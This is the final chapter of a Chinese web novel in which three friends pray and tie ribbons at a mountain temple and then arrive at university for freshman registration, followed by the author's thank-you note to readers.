白鸡山并不是座高山,海拔不过四百米。 还没走就到山顶庙里,晨钟叩响,敦实而沉静的钟声回荡在山间,远处金红的光芒越过长树枝桠遍洒而下。 佛像静静坐落于石窟,三个少年默声合掌而立,虔诚地落愿。 消耗完宝贵的吉时,严越转身,下巴指了指边上的歪脖子树:“要写点什么吗?” 还没等江淮楚明说出个要与不要,严越补充道:“红带10元一张,笔墨20一用,悬挂费6元。” 江淮&楚明:“……” “要不然是歪脖子树呢,一人一脚,顺便的事。”严越啧啧两声:“来,跟我走,我做过攻略。” 沿着曲折的小路绕到寺庙背后,面对群山,一棵挺拔的大树枝干舒展,阳光洒遍,泛出金光。 江淮歪头:“写叶子上?” 楚明:“……” 严越:“……” 他掏出纸笔的动作顿了下:“江哥,我服了,你今天没带脑子还是脑子没带你?要不要这么好玩儿!” “哎,”楚明连忙维护道:“写叶子上也不是不行。” 严越:“……” 纸张依次散开,细绳穿过挂在树干,晨风飘扬里,他们各自开始精简版的祈福仪式。 再晚些时候第二波人群高峰便要来了,他们快速下山,到山底时严越才问:“所以,你们写的什么?” “名字。”两人异口同声。 严越眉毛飞了一下:“嗯?” “不是来祈福?”祈念聚福于名,仅此而已,所以,江淮说:“我写的楚明。” “我也写的他。”楚明笑着说道。 严越:“……” 他给了自己一个虚假的巴掌,咬牙切齿地说:“啊,我就多余问这一嘴!” 江淮白了他一眼:“那你写的什么?” “我?”严越眉梢挑起:“我当然写的是我自己的名字。” 楚明:“……”区别在哪? 江淮:“……”他也多余这一问。 临近月半月底,闲散的游者逐渐归家,收拾着迎接大学生活。 晚八点到达A市,楚明没直接回学校宿舍,而是跟江淮住了一晚上的酒店,等着一起到校。 第二天清早天光大放,宽长的马路上泛着朝晖,推着单个行李箱他们一身清爽地往A大走。 出示身份证过完门禁,视野一瞬阔然,明红色的横幅迎风飘扬,各类迎新棚子五光十色,混着志愿者的声音,完美重合的,草坛石间的广播热情洋溢地同时播报道: “欢迎新同学——”—— 作者有话说:正文就暂时到这里了,以新的身份走进新生活,对我来说,大概是最好的结尾了。 另外,番外和锁章(95)我会尽快抬上来的。 爱每一个追文的宝贝!何其幸运我能遇见你们! 没有你们这篇文可能都没有尾章,因为我不是一个特别有毅力的人[可怜] 我爱你们!!!《 》